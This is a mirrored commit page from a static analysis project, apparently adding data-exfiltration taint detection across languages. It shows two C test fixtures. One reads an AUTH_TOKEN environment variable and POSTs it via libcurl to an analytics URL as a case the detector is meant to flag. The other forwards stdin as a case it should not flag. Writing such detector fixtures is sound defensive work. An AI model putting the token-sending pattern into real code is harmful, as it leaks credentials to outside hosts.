mirror of
https://github.com/elicpeter/nyx.git
synced 2026-07-12 21:02:11 +02:00
Added Cap::DATA_EXFIL and taint fp and fn fixes on real repos (#59)
* feat: Enhance data exfiltration detection with source sensitivity gating for cookies and headers * feat: Implement cross-file data exfiltration detection with parameter-specific gate filters * feat: Add calibration tests and refine DATA_EXFIL severity scoring logic * feat: Introduce per-detector configuration for data exfiltration suppression * feat: Enhance DATA_EXFIL findings with destination field tracking in diagnostics and SARIF output * feat: Add tainted body and URL handling for data exfiltration detection * feat: Add integration tests and fixtures for DATA_EXFIL and SSRF detection in Go * feat: Add Java integration tests and fixtures for DATA_EXFIL detection across multiple HTTP clients * feat: Add synthetic externals handling for closure-captured variables in SSA * feat: Implement closure-based suppression for resource leak findings * feat: Add regression guards for shell-injection and taint propagation in for-of destructure patterns * feat: Implement constructor cap narrowing for data exfiltration detection in HTTP request builders * feat: Add gated sinks for data exfiltration detection in C and C++ using curl_easy_setopt * feat: Implement DATA_EXFIL cap parity for backwards analysis and add integration tests * feat: Add data exfiltration sinks for various languages and enhance documentation * refactor: Simplify formatting and improve readability in various files * refactor: Improve readability by simplifying conditional statements and adding clippy linting * docs: Update CHANGELOG and comments for data exfiltration features and configuration * docs: Clarify configuration instructions for data exfiltration trusted destinations * docs: Enhance comments for evidence routing logic in data exfiltration
This commit is contained in:
parent
a438886217
commit
58f1794a4e
189 changed files with 8421 additions and 383 deletions
|
|
@ -0,0 +1,17 @@
|
|||
// DATA_EXFIL: env-config (Sensitive source) flows into the gated
|
||||
// curl_easy_setopt sink at the CURLOPT_POSTFIELDS activation. The
|
||||
// destination URL is set by a separate CURLOPT_URL setopt above; only
|
||||
// the body-binding setopt fires DATA_EXFIL.
|
||||
#include <curl/curl.h>
|
||||
#include <stdlib.h>
|
||||
|
||||
void leak_env(void) {
|
||||
char *token = getenv("AUTH_TOKEN");
|
||||
if (!token) return;
|
||||
|
||||
CURL *curl = curl_easy_init();
|
||||
curl_easy_setopt(curl, CURLOPT_URL, "https://analytics.internal/track");
|
||||
curl_easy_setopt(curl, CURLOPT_POSTFIELDS, token);
|
||||
curl_easy_perform(curl);
|
||||
curl_easy_cleanup(curl);
|
||||
}
|
||||
|
|
@ -0,0 +1,16 @@
|
|||
// DATA_EXFIL safe: plain user input via fgets/stdin forwarded into the
|
||||
// CURLOPT_POSTFIELDS body of a fixed-URL curl request must not fire.
|
||||
// Sensitivity-gate strips the cap for Plain-tier sources.
|
||||
#include <curl/curl.h>
|
||||
#include <stdio.h>
|
||||
|
||||
void forward_stdin(void) {
|
||||
char input[256];
|
||||
if (!fgets(input, sizeof(input), stdin)) return;
|
||||
|
||||
CURL *curl = curl_easy_init();
|
||||
curl_easy_setopt(curl, CURLOPT_URL, "https://telemetry.internal/forward");
|
||||
curl_easy_setopt(curl, CURLOPT_POSTFIELDS, input);
|
||||
curl_easy_perform(curl);
|
||||
curl_easy_cleanup(curl);
|
||||
}
|
||||
Loading…
Add table
Add a link
Reference in a new issue